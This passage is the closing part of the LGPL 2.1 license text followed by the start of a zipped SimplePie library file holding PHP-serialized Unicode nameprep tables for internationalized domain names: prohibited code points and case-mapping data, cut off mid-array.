INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the library's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. <signature of Ty Coon>, 1 April 1990 Ty Coon, President of Vice That's all there is to it! PKÜ�\$0Qs����)vendor/simplepie/simplepie/idn/npdata.sernu�[���a:6:{s:11:"map_nothing";a:27:{i:0;i:173;i:1;i:847;i:2;i:6150;i:3;i:6155;i:4;i:6156;i:5;i:6157;i:6;i:8203;i:7;i:8204;i:8;i:8205;i:9;i:8288;i:10;i:65024;i:11;i:65025;i:12;i:65026;i:13;i:65027;i:14;i:65028;i:15;i:65029;i:16;i:65030;i:17;i:65031;i:18;i:65032;i:19;i:65033;i:20;i:65034;i:21;i:65035;i:22;i:65036;i:23;i:65037;i:24;i:65038;i:25;i:65039;i:26;i:65279;}s:18:"general_prohibited";a:64:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;i:40;i:40;i:41;i:41;i:42;i:42;i:43;i:43;i:44;i:44;i:45;i:47;i:46;i:59;i:47;i:60;i:48;i:61;i:49;i:62;i:50;i:63;i:51;i:64;i:52;i:91;i:53;i:92;i:54;i:93;i:55;i:94;i:56;i:95;i:57;i:96;i:58;i:123;i:59;i:124;i:60;i:125;i:61;i:126;i:62;i:127;i:63;i:12290;}s:8:"prohibit";a:84:{i:0;i:160;i:1;i:5760;i:2;i:8192;i:3;i:8193;i:4;i:8194;i:5;i:8195;i:6;i:8196;i:7;i:8197;i:8;i:8198;i:9;i:8199;i:10;i:8200;i:11;i:8201;i:12;i:8202;i:13;i:8203;i:14;i:8239;i:15;i:8287;i:16;i:12288;i:17;i:1757;i:18;i:1807;i:19;i:6158;i:20;i:8204;i:21;i:8205;i:22;i:8232;i:23;i:8233;i:24;i:65279;i:25;i:65529;i:26;i:65530;i:27;i:65531;i:28;i:65532;i:29;i:65534;i:30;i:65535;i:31;i:131070;i:32;i:131071;i:33;i:196606;i:34;i:196607;i:35;i:262142;i:36;i:262143;i:37;i:327678;i:38;i:327679;i:39;i:393214;i:40;i:393215;i:41;i:458750;i:42;i:458751;i:43;i:524286;i:44;i:524287;i:45;i:589822;i:46;i:589823;i:47;i:655358;i:48;i:655359;i:49;i:720894;i:50;i:720895;i:51;i:786430;i:52;i:786431;i:53;i:851966;i:54;i:851967;i:55;i:917502;i:56;i:917503;i:57;i:983038;i:58;i:983039;i:59;i:1048574;i:60;i:1048575;i:61;i:1114110;i:62;i:1114111;i:63;i:65529;i:64;i:65530;i:65;i:65531;i:66;i:65532;i:67;i:65533;i:68;i:832;i:69;i:833;i:70;i:8206;i:71;i:8207;i:72;i:8234;i:73;i:8235;i:74;i:8236;i:75;i:8237;i:76;i:8238;i:77;i:8298;i:78;i:8299;i:79;i:8300;i:80;i:8301;i:81;i:8302;i:82;i:8303;i:83;i:917505;}s:15:"prohibit_ranges";a:10:{i:0;a:2:{i:0;i:128;i:1;i:159;}i:1;a:2:{i:0;i:8288;i:1;i:8303;}i:2;a:2:{i:0;i:119155;i:1;i:119162;}i:3;a:2:{i:0;i:57344;i:1;i:63743;}i:4;a:2:{i:0;i:983040;i:1;i:1048573;}i:5;a:2:{i:0;i:1048576;i:1;i:1114109;}i:6;a:2:{i:0;i:64976;i:1;i:65007;}i:7;a:2:{i:0;i:55296;i:1;i:57343;}i:8;a:2:{i:0;i:12272;i:1;i:12283;}i:9;a:2:{i:0;i:917536;i:1;i:917631;}}s:11:"replacemaps";a:1401:{i:65;a:1:{i:0;i:97;}i:66;a:1:{i:0;i:98;}i:67;a:1:{i:0;i:99;}i:68;a:1:{i:0;i:100;}i:69;a:1:{i:0;i:101;}i:70;a:1:{i:0;i:102;}i:71;a:1:{i:0;i:103;}i:72;a:1:{i:0;i:104;}i:73;a:1:{i:0;i:105;}i:74;a:1:{i:0;i:106;}i:75;a:1:{i:0;i:107;}i:76;a:1:{i:0;i:108;}i:77;a:1:{i:0;i:109;}i:78;a:1:{i:0;i:110;}i:79;a:1:{i:0;i:111;}i:80;a:1:{i:0;i:112;}i:81;a:1:{i:0;i:113;}i:82;a:1:{i:0;i:114;}i:83;a:1:{i:0;i:115;}i:84;a:1:{i:0;i:116;}i:85;a:1:{i:0;i:117;}i:86;a:1:{i:0;i:118;}i:87;a:1:{i:0;i:119;}i:88;a:1:{i:0;i:120;}i:89;a:1:{i:0;i:121;}i:90;a:1:{i:0;i:122;}i:181;a:1:{i:0;i:956;}i:192;a:1:{i:0;i:224;}i:193;a:1:{i:0;i:225;}i:194;a:1:{i:0;i:226;}i:195;a:1:{i:0;i:227;}i:196;a:1:{i:0;i:228;}i:197;a:1:{i:0;i:229;}i:198;a:1:{i:0;i:230;}i:199;a:1:{i:0;i:231;}i:200;a:1:{i:0;i:232;}i:201;a:1:{i:0;i:233;}i:202;a:1:{i:0;i:234;}i:203;a:1:{i:0;i:235;}i:204;a:1:{i:0;i:236;}i:205;a:1:{i:0;i:237;}i:206;a:1:{i:0;i:238;}i:207;a:1:{i:0;i:239;}i:208;a:1:{i:0;i:240;}i:209;a:1:{i:0;i:241;}i:210;a:1:{i:0;i:242;}i:211;a:1:{i:0;i:243;}i:212;a:1:{i:0;i:244;}i:213;a:1:{i:0;i:245;}i:214;a:1:{i:0;i:246;}i:216;a:1:{i:0;i:248;}i:217;a:1:{i:0;i:249;}i:218;a:1:{i:0;i:250;}i:219;a:1:{i:0;i:251;}i:220;a:1:{i:0;i:252;}i:221;a:1:{i:0;i:253;}i:222;a:1:{i:0;i:254;}i:223;a:2:{i:0;i:115;i:1;i:115;}i:256;a:1:{i:0;i:257;}i:258;a:1:{i:0;i:259;}i:260;a:1:{i:0;i:261;}i:262;a:1:{i:0;i:263;}i:264;a:1:{i:0;i:265;}i:266;a:1:{i:0;i:267;}i:268;a:1:{i:0;i:269;}i:270;a:1:{i:0;i:271;}i:272;a:1:{i:0;i:273;}i:274;a:1:{i:0;i:275;}i:276;a:1:{i:0;i:277;}i:278;a:1:{i:0;i:279;}i:280;a:1:{i:0;i:281;}i:282;a:1:{i:0;i:283;}i:284;a:1:{i:0;i:285;}i:286;a:1:{i:0;i:287;}i:288;a:1:{i:0;i:289;}i:290;a:1:{i:0;i:291;}i:292;a:1:{i:0;i:293;}i:294;a:1:{i:0;i:295;}i:296;a:1:{i:0;i:297;}i:298;a:1:{i:0;i:299;}i:300;a:1:{i:0;i:301;}i:302;a:1:{i:0;i:303;}i:304;a:2:{i:0;i:105;i:1;i:775;}i:306;a:1:{i:0;i:307;}i:308;a:1:{i:0;i:309;}i:310;a:1:{i:0;i:311;}i:313;a:1:{i:0;i:314;}i:315;a:1:{i:0;i:316;}i:317;a:1:{i:0;i:318;}i:319;a:1:{i:0;i:320;}i:321;a:1:{i:0;i:322;}i:323;a:1:{i:0;i:324;}i:325;a:1:{i:0;i:326;}i:327;a:1:{i:0;i:328;}i:329;a:2:{i:0;i:700;i:1;i:110;}i:330;a:1:{i:0;i:331;}i:332;a:1:{i:0;i:333;}i:334;a:1:{i:0;i:335;}i:336;a:1:{i:0;i:337;}i:338;a:1:{i:0;i:339;}i:340;a:1:{i:0;i:341;}i:342;a:1:{i:0;i:343;}i:344;a:1:{i:0;i:345;}i:346;a:1:{i:0;i:347;}i:348;a:1:{i:0;i:349;}i:350;a:1:{i:0;i:351;}i:352;a:1:{i:0;i:353;}i:354;a:1:{i:0;i:355;}i:356;a:1:{i:0;i:357;}i:358;a:1:{i:0;i:359;}i:360;a:1:{i:0;i:361;}i:362;a:1:{i:0;i:363;}i:364;a:1:{i:0;i:365;}i:366;a:1:{i:0;i:367;}i:368;a:1:{i:0;i:369;}i:370;a:1:{i:0;i:371;}i:372;a:1:{i:0;i:373;}i:374;a:1:{i:0;i:375;}i:376;a:1:{i:0;i:255;}i:377;a:1:{i:0;i:378;}i:379;a:1:{i:0;i:380;}i:381;a:1:{i:0;i:382;}i:383;a:1:{i:0;i:115;}i:385;a:1:{i:0;i:595;}i:386;a:1:{i:0;i:387;}i:388;a:1:{i:0;i:389;}i:390;a:1:{i:0;i:596;}i:391;a:1:{i:0;i:392;}i:393;a:1:{i:0;i:598;}i:394;a:1:{i:0;i:599;}i:395;a:1:{i:0;i:396;}i:398;a:1:{i:0;i:477;}i:399;a:1:{i:0;i:601;}i:400;a:1:{i:0;i:603;}i:401;a:1:{i:0;i:402;}i:403;a:1:{i:0;i:608;}i:404;a:1:{i:0;i:611;}i:406;a:1:{i:0;i:617;}i:407;a:1:{i:0;i:616;}i:408;a:1:{i:0;i:409;}i:412;a:1:{i:0;i:623;}i:413;a:1:{i:0;i:626;}i:415;a:1:{i:0;i:629;}i:416;a:1:{i:0;i:417;}i:418;a:1:{i:0;i:419;}i:420;a:1:{i:0;i:421;}i:422;a:1:{i:0;i:640;}i:423;a:1:{i:0;i:424;}i:425;a:1:{i:0;i:643;}i:428;a:1:{i:0;i:429;}i:430;a:1:{i:0;i:648;}i:431;a:1:{i:0;i:432;}i:433;a:1:{i:0;i:650;}i:434;a:1:{i:0;i:651;}i:435;a:1:{i:0;i:436;}i:437;a:1:{i:0;i:438;}i:439;a:1:{i:0;i:658;}i:440;a:1:{i:0;i:441;}i:444;a:1:{i:0;i:445;}i:452;a:1:{i:0;i:454;}i:453;a:1:{i:0;i:454;}i:455;a:1:{i:0;i:457;}i:456;a:1:{i:0;i:457;}i:458;a:1:{i:0;i:460;}i:459;a:1:{i:0;i:460;}i:461;a:1:{i:0;i:462;}i:463;a:1:{i:0;i:464;}i:465;a:1:{i:0;i:466;}i:467;a:1:{i:0;i:468;}i:469;a:1:{i:0;i:470;}i:471;a:1:{i:0;i:472;}i:473;a:1:{i:0;i:474;}i:475;a:1:{i:0;i:476;}i:478;a:1:{i:0;i:479;}i:480;a:1:{i:0;i:481;}i:482;a:1:{i:0;i:483;}i:484;a:1:{i:0;i:485;}i:486;a:1:{i:0;i:487;}i:488;a:1:{i:0;i:489;}i:490;a:1:{i:0;i:491;}i:492;a:1:{i:0;i:493;}i:494;a:1:{i:0;i:495;}i:496;a:2:{i:0;i:106;i:1;i:780;}i:497;a:1:{i:0;i:499;}i:498;a:1:{i:0;i:499;}i:500;a:1:{i:0;i:501;}i:502;a:1:{i:0;i:405;}i:503;a:1:{i:0;i:447;}i:504;a:1:{i:0;i:505;}i:506;a:1:{i:0;i:507;}i:508;a:1:{i:0;i:509;}i:510;a:1:{i:0;i:511;}i:512;a:1:{i:0;i:513;}i:514;a:1:{i:0;i:515;}i:516;a:1:{i:0;i:517;}i:518;a:1:{i:0;i:519;}i:520;a:1:{i:0;i:521;}i:522;a:1:{i:0;i:523;}i:524;a:1:{i:0;i:525;}i:526;a:1:{i:0;i:527;}i:528;a:1:{i:0;i:529;}i:530;a:1:{i:0;i:531;}i:532;a:1:{i:0;i:533;}i:534;a:1:{i:0;i:535;}i:536;a:1:{i:0;i:537;}i:538;a:1:{i:0;i:539;}i:540;a:1:{i:0;i:541;}i:542;a:1:{i:0;i:543;}i:544;a:1:{i:0;i:414;}i:546;a:1:{i:0;i:547;}i:548;a:1:{i:0;i:549;}i:550;a:1:{i:0;i:551;}i:552;a:1:{i:0;i:553;}i:554;a:1:{i:0;i:555;}i:556;a:1:{i:0;i:557;}i:558;a:1:{i:0;i:559;}i:560;a:1:{i:0;i:561;}i:562;a:1:{i:0;i:563;}i:837;a:1:{i:0;i:953;}i:890;a:2:{i:0;i:32;i:1;i:953;}i:902;a:1:{i:0;i:940;}i:904;a:1:{i:0;i:941;}i:905;a:1:{i:0;i:942;}i:906;a:1:{i:0;i:943;}i:908;a:1:{i:0;i:972;}i:910;a:1:{i:0;i:973;}i:911;a:1:{i:0;i:974;}i:912;a:3:{i:0;i:953;i:1;i:776;i:2;i:769;}i:913;a:1:{i:0;i:945;}i:914;a:1:{i:0;i:946;}i:915;a:1:{i:0;i:947;}i:916;a:1:{i:0;i:948;}i:917;a:1:{i:0;i:949;}i:918;a:1:{i:0;i:950;}i:919;a:1:{i:0;i:951;}i:920;a:1:{i:0;i:952;}i:921;a:1:{i:0;i:953;}i:922;a:1:{i:0;i:954;}i:923;a:1:{i:0;i:955;}i:924;a:1:{i:0;i:956;}i:925;a:1:{i:0;i:957;}i:926;a:1:{i:0;i:958;}i:927;a:1:{i:0;i:959;}i:928;a:1:{i:0;i:960;}i:929;a:1:{i:0;i:961;}i:931;a:1:{i:0;i:963;}i:932;a:1:{i:0;i:964;}i:933;a:1:{i:0;i:965;}i:934;a:1:{i:0;i:966;}i:935;a:1:{i:0;i:967;}i:936;a:1:{i:0;i:968;}i:937;a:1:{i:0;i:969;}i:938;a:1:{i:0;i:970;}i:939;a:1:{i:0;i:971;}i:944;a:3:{i:0;i:965;i:1;i:776;i:2;i:769;}i:962;a:1:{i:0;i:963;}i:976;a:1:{i:0;i:946;}i:977;a:1:{i:0;i:952;}i:978;a:1:{i:0;i:965;}i:979;a:1:{i:0;i:973;}i:980;a:1:{i:0;i:971;}i:981;a:1:{i:0;i:966;}i:982;a:1:{i:0;i:960;}i:984;a:1:{i:0;i:985;}i:986;a:1:{i:0;i:987;}i:988;a:1:{i:0;i:989;}i:990;a:1:{i:0;i:991;}i:992;a:1:{i:0;i:993;}i:994;a:1:{i:0;i:995;}i:996;a:1:{i:0;i:997;}i:998;a:1:{i:0;i:999;}i:1000;a:1:{i:0;i:1001;}i:1002;a:1:{i:0;i:1003;}i:1004;a:1:{i:0;i:1005;}i:1006;a:1:{i:0;i:1007;}i:1008;a:1:{i:0;i:954;}i:1009;a:1:{i:0;i:961;}i:1010;a:1:{i:0;i:963;}i:1012;a:1:{i:0;i:952;}i:1013;a:1:{i:0;i:949;}i:1024;a:1:{i:0;i:1104;}i:1025;a:1:{i:0;i:1105;}i:1026;a:1:{i:0;i:1106;}i:1027;a:1:{i:0;i:1107;}i:1028;a:1:{i:0;i:1108;}i:1029;a:1:{i:0;i:1109;}i:1030;a:1:{i:0;i:1110;}i:1031;a:1:{i:0;i:1111;}i:1032;a:1:{i:0;i:1112;}i:1033;a:1:{i:0;i:1113;}i:1034;a:1:{i:0;i:1114;}i:1035;a:1:{i:0;i:1115;}i:1036;a:1:{i:0;i:1116;}i:1037;a:1:{i:0;i:1117;}i:1038;a:1:{i:0;i:1118;}i:1039;a:1:{i:0;i:1119;}i:1040;a:1:{i:0;i:1072;}i:1041;a:1:{i:0;i:1073;}i:1042;a:1:{i:0;i:1074;}i:1043;a:1:{i:0;i:1075;}i:1044;a:1:{i:0;i:1076;}i:1045;a:1:{i:0;i:1077;}i:1046;a:1:{i:0;i:1078;}i:1047;a:1:{i:0;i:1079;}i:1048;a:1:{i:0;i:1080;}i:1049;a:1:{i:0;i:1081;}i:1050;a:1:{i:0;i:1082;}i:1051;a:1:{i:0;i:1083;}i:1052;a:1:{i:0;i:1084;}i:1053;a:1:{i:0;i:1085;}i:1054;a:1:{i:0;i:1086;}i:1055;a:1:{i:0;i:1087;}i:1056;a:1:{i:0;i:1088;}i:1057;a:1:{i:0;i:1089;}i:1058;a:1:{i:0;i:1090;}i:1059;a:1:{i:0;i:1091;}i:1060;a:1:{i:0;i:1092;}i:1061;a:1:{i:0;i:1093;}i:1062;a:1:{i:0;i:1094;}i:1063;a:1:{i:0;i:1095;}i:1064;a:1:{i:0;i:1096;}i:1065;a:1:{i:0;i:1097;}i:1066;a:1:{i:0;i:1098;}i:1067;a:1:{i:0;i:1099;}i:1068;a:1:{i:0;i:1100;}i:1069;a:1:{i:0;i:1101;}i:1070;a:1:{i:0;i:1102;}i:1071;a:1:{i:0;i:1103;}i:1120;a:1:{i:0;i:1121;}i:1122;a:1:{i:0;i:1123;}i:1124;a:1:{i:0;i:1125;}i:1126;a:1:{i:0;i:1127;}i:1128;a:1:{i:0;i:1129;}i:1130;a:1:{i:0;i:1131;}i:1132;a:1:{i:0;i:1133;}i:1134;a:1:{i:0;i:1135;}i:1136;a:1:{i:0;i:1137;}i:1138;a:1:{i:0;i:1139;}i:1140;a:1:{i:0;i:1141;}i:1142;a:1:{i:0;i:1143;}i:1144;a:1:{i:0;i:1145;}i:1146;a:1:{i:0;i:1147;}i:1148;a:1:{i:0;i:1149;}i:1150;a:1:{i:0;i:1151;}i:1152;a:1:{i:0;i:1153;}i:1162;a:1:{i:0;i:1163;}i:1164;a:1:{i:0;i:1165;}i:1166;a:1:{i:0;i:1167;}i:1168;a:1:{i:0;i:1169;}i:1170;a:1:{i:0;i:1171;}i:1172;a:1:{i:0;i:1173;}i:1174;a:1:{i:0;i:1175;}i:1176;a:1:{i:0;i:1177;}i:1178;a:1:{i:0;i:1179;}i:1180;a:1:{i:0;i:1181;}i:1182;a:1:{i:0;i:1183;}i:1184;a:1:{i:0;i:1185;}i:1186;a:1:{i:0;i:1187;}i:1188;a:1:{i:0;i:1189;}i:1190;a:1:{i:0;i:1191;}i:1192;a:1:{i:0;i:1193;}i:1194;a:1:{i:0;i:1195;}i:1196;a:1:{i:0;i:1197;}i:1198;a:1:{i:0;i:1199;}i:1200;a:1:{i:0;i:1201;}i:1202;a:1:{i:0;i:1203;}i:1204;a:1:{i:0;i:1205;}i:1206;a:1:{i:0;i:1207;}i:1208;a:1:{i:0;i:1209;}i:1210;a:1:{i:0;i:1211;}i:1212;a:1:{i:0;i:1213;}i:1214;a:1:{i:0;i:1215;}i:1217;a:1:{i:0;i:1218;}i:1219;a:1:{i:0;i:1220;}i:1221;a:1:{i:0;i:1222;}i:1223;a:1:{i:0;i:1224;}i:1225;a:1:{i:0;i:1226;}i:1227;a:1:{i:0;i:1228;}i:1229;a:1:{i:0;i:1230;}i:1232;a:1:{i:0;i:1233;}i:1234;a:1:{i:0;i:1235;}i:1236;a:1:{i:0;i:1237;}i:1238;a:1:{i:0;i:1239;}i:1240;a:1:{i:0;i:1241;}i:1242;a:1:{i:0;i:1243;}i:1244;a:1:{i:0;i:1245;}i:1246;a:1:{i:0;i:1247;}i:1248;a:1:{i:0;i:1249;}i:1250;a:1:{i:0;i:1251;}i:1252;a:1:{i:0;i:1253;}i:1254;a:1:{i:0;i:1255;}i:1256;a:1:{i:0;i:1257;}i:1258;a:1:{i:0;i:1259;}i:1260;a:1:{i:0;i:1261;}i:1262;a:1:{i:0;i:1263;}i:1264;a:1:{i:0;i:1265;}i:1266;a:1:{i:0;i:1267;}i:1268;a:1:{i:0;i:1269;}i:1272;a:1:{i:0;i:1273;}i:1280;a:1:{i:0;i:1281;}i:1282;a:1:{i:0;i:1283;}i:1284;a:1:{i:0;i:1285;}i:1286;a:1:{i:0;i:1287;}i:1288;a:1:{i:0;i:1289;}i:1290;a:1:{i:0;i:1291;}i:1292;a:1:{i:0;i:1293;}i:1294;a:1:{i:0;i:1295;}i:1329;a:1:{i:0;i:1377;}i:1330;a:1:{i:0;i:1378;}i:1331;a:1:{i:0;i:1379;}i:1332;a:1:{i:0;i:1380;}i:1333;a:1:{i:0;i:1381;}i:1334;a:1:{i:0;i:1382;}i:1335;a:1:{i:0;i:1383;}i:1336;a:1:{i:0;i:1384;}i:1337;a:1:{i:0;i:1385;}i:1338;a:1:{i:0;i:1386;}i:1339;a:1:{i:0;i:1387;}i:1340;a:1:{i:0;i:1388;}i:1341;a:1:{i:0;i:1389;}i:1342;a:1:{i:0;i:1390;}i:1343;a:1:{i:0;i:1391;}i:1344;a:1:{i:0;i:1392;}i:1345;a:1:{i:0;i:1393;}i:1346;a:1:{i:0;i:1394;}i:1347;a:1:{i:0;i:1395;}i:1348;a:1:{i:0;i:1396;}i:1349;a:1:{i:0;i:1397;}i:1350;a:1:{i:0;i:1398;}i:1351;a:1:{i:0;i:1399;}i:1352;a:1:{i:0;i:1400;}i:1353;a:1:{i:0;i:1401;}i:1354;a:1:{i:0;i:1402;}i:1355;a:1:{i:0;i:1403;}i:1356;a:1:{i:0;i:1404;}i:1357;a:1:{i:0;i:1405;}i:1358;a:1:{i:0;i:1406;}i:1359;a:1:{i:0;i:1407;}i:1360;a:1:{i:0;i:1408;}i:1361;a:1:{i:0;i:1409;}i:1362;a:1:{i:0;i:1410;}i:1363;a:1:{i:0;i:1411;}i:1364;a:1:{i:0;i:1412;}i:1365;a:1:{i:0;i:1413;}i:1366;a:1:{i:0;i:1414;}i:1415;a:2:{i:0;i:1381;i:1;i:1410;}i:7680;a:1:{i:0;i:7681;}i:7682;a:1:{i:0;i:7683;}i:7684;a:1:{i:0;i:7685;}i:7686;a:1:{i:0;i:7687;}i:7688;a:1:{i:0;i:7689;}i:7690;a:1:{i:0;i:7691;}i:7692;a:1:{i:0;i:7693;}i:7694;a:1:{i:0;i:7695;}i:7696;a:1:{i:0;i:7697;}i:7698;a:1:{i:0;i:7699;}i:7700;a:1:{i:0;i:7701;}i:7702;a:1:{i:0;i:7703;}i:7704;a:1:{i:0;i:7705;}i:7706;a:1:{i:0;i:7707;}i:7708;a:1:{i:0;i:7709;}i:7710;a:1:{i:0;i:7711;}i:7712;a:1:{i:0;i:7713;}i:7714;a:1:{i:0;i:7715;}i:7716;a:1:{i:0;i:7717;}i:7718;a:1:{i:0;i:7719;}i:7720;a:1:{i:0;i:7721;}i:7722;a:1:{i:0;i:7723;}i:7724;a:1:{i:0;i:7725;}i:7726;a:1:{i:0;i:7727;}i:7728;a:1:{i:0;i:7729;}i:7730;a:1:{i:0;i:7731;}i:7732;a:1:{i:0;i:7733;}i:7734;a:1:{i:0;i:7735;}i:7736;a:1:{i:0;i:7737;}i:7738;a:1:{i:0;i:7739;}i:7740;a:1:{i:0;i:7741;}i:7742;a:1:{i:0;i:7743;}i:7744;a:1:{i:0;i:7745;}i:7746;a:1:{i:0;i:7747;}i:7748;a:1:{i:0;i:7749;}i:7750;a:1:{i:0;i:7751;}i:7752;a:1:{i:0;i:7753;}i:7754;a:1:{i:0;i:7755;}i:7756;a:1:{i:0;i:7757;}i:7758;a:1:{i:0;i:7759;}i:7760;a:1:{i:0;i:7761;}i:7762;a:1:{i:0;i:7763;}i:7764;a:1:{i:0;i:7765;}i:7766;a:1:{i:0;i:7767;}i:7768;a:1:{i:0;i:7769;}i:7770;a:1:{i:0;i:7771;}i:7772;a:1:{i:0;i:7773;}i:7774;a:1:{i:0;i:7775;}i:7776;a:1:{i:0;i:7777;}i:7778;a:1:{i:0;i:7779;}i:7780;a:1:{i:0;i:7781;}i:7782;a:1:{i:0;i:7783;}i:7784;a:1:{i:0;i:7785;}i:7786;a:1:{i:0;i:7787;}i:7788;a:1:{i:0;i:7789;}i:7790;a:1:{i:0;i:7791;}i:7792;a:1:{i:0;i:7793;}i:7794;a:1:{i:0;i:7795;}i:7796;a:1:{i:0;i:7797;}i:7798;a:1:{i:0;i:7799;}i:7800;a:1:{i:0;i:7801;}i:7802;a:1:{i:0;i:7803;}i:7804;a:1:{i:0;i:7805;}i:7806;a:1:{i:0;i:7807;}i:7808;a:1:{i:0;i:7809;}i:7810;a:1:{i:0;i:7811;}i:7812;a:1:{i:0;i:7813;}i:7814;a:1:{i:0;i:7815;}i:7816;a:1:{i:0;i:7817;}i:7818;a:1:{i:0;i:7819;}i:7820;a:1:{i:0;i:7821;}i:7822;a:1:{i:0;i:7823;}i:7824;a:1:{i:0;i:7825;}i:7826;a:1:{i:0;i:7827;}i:7828;a:1:{i:0;i:7829;}i:7830;a:2:{i:0;i:104;i:1;i:817;}i:7831;a:2:{i:0;i:116;i:1;i:776;}i:7832;a:2:{i:0;i:119;i:1;i:778;}i:7833;a:2:{i:0;i:121;i:1;i:778;}i:7834;a:2:{i:0;i:97;i:1;i:702;}i:7835;a:1:{i:0;i:7777;}i:7840;a:1:{i:0;i:7841;}i:7842;a:1:{i:0;i:7843;}i:7844;a:1:{i:0;i:7845;}i:7846;a:1:{i:0;i:7847;}i:7848;a:1:{i:0;i:7849;}i:7850;a:1:{i:0;i:7851;}i:7852;a:1:{i:0;i:7853;}i:7854;a:1:{i:0;i:7855;}i:7856;a:1:{i:0;i:7857;}i:7858;a:1:{i:0;i:7859;}i:7860;a:1:{i:0;i:7861;}i:7862;a:1:{i:0;i:7863;}i:7864;a:1:{i:0;i:7865;}i:7866;a:1:{i:0;i:7867;}i:7868;a:1:{i:0;i:7869;}i:7870;a:1:{i:0;i:7871;}i:7872;a:1:{i:0;i:7873;}i:7874;a:1:{i:0;i:7875;}i:7876;a:1:{i:0;i:7877;}i:7878;a:1:{i:0;i:7879;}i:7880;a:1:{i:0;i:7881;}i:7882;a:1:{i:0;i:7883;}i:7884;a:1:{i:0;i:7885;}i:7886;a:1:{i:0;i:7887;}i:7888;a:1:{i:0;i:7889;}i:7890;a:1:{i:0;i:7891;}i:7892;a:1:{i:0;i:7893;}i:7894;a:1:{i:0;i:7895;}i:7896;a:1:{i:0;i:7897;}i:7898;a:1:{i:0;i:7899;}i:7900;a:1:{i:0;i:7901;}i:7902;a:1:{i:0;i:7903;}i:7904;a:1:{i:0;i:7905;}i:7906;a:1:{i:0;i:7907;}i:7908;a:1:{i:0;i:7909;}i:7910;a:1:{i:0;i:7911;}i:7912;a:1:{i:0;i:7913;}i:7914;a:1:{i:0;i:7915;}i:7916;a:1:{i:0;i:7917;}i:7918;a:1:{i:0;i:7919;}i:7920;a:1:{i:0;i:7921;}i:7922;a:1:{i:0;i:7923;}i:7924;a:1:{i:0;i:7925;}i:7926;a:1:{i:0;i:7927;}i:7928;a:1:{i:0;i:7929;}i:7944;a:1:{i:0;i:7936;}i:7945;a:1:{i:0;i:7937;}i:7946;a:1:{i:0;i:7938;}i:7947;a:1:{i:0;i:7939;}i:7948;a:1:{i:0;i:7940;}i:7949;a:1:{i:0;i:7941;}i:7950;a:1:{i:0;i:7942;}i:7951;a:1:{i:0;i:7943;}i:7960;a:1:{i:0;i:7952;}i:7961;a:1:{i:0;i:7953;}i:7962;a:1:{i:0;i:7954;}i:7963;a:1:{i:0;i:7955;}i:7964;a:1:{i:0;i:7956;}i:7965;a:1:{i:0;i:7957;}i:7976;a:1:{i:0;i:7968;}i:7977;a:1:{i:0;i:7969;}i:7978;a:1:{i:0;i:7970;}i:7979;a:1:{i:0;i:7971;}i:7980;a:1:{i:0;i:7972;}i:7981;a:1:{i:0;i:7973;}i:7982;a:1:{i:0;i:7974;}i:7983;a:1:{i:0;i:7975;}i:7992;a:1:{i:0;i:7984;}i:7993;a:1:{i:0;i:7985;}i:7994;a:1:{i:0;i:7986;}i:7995;a:1:{i:0;i:7987;}i:7996;a:1:{i:0;i:7988;}i:7997;a:1:{i:0;i:7989;}i:7998;a:1:{i:0;i:7990;}i:7999;a:1:{i:0;i:7991;}i:8008;a:1:{i:0;i:8000;}i:8009;a:1:{i:0;i:8001;}i:8010;a:1:{i:0;i:8002;}i:8011;a:1:{i:0;i:8003;}i:8012;a:1:{i:0;i:8004;}i:8013;a:1:{i:0;i:8005;}i:8016;a:2:{i:0;i:965;i:1;i:787;}i:8018;a:3:{i:0;i:965;i:1;i:787;i:2;i:768;}i:8020;a:3:{i:0;i:965;i:1;i:787;i:2;i: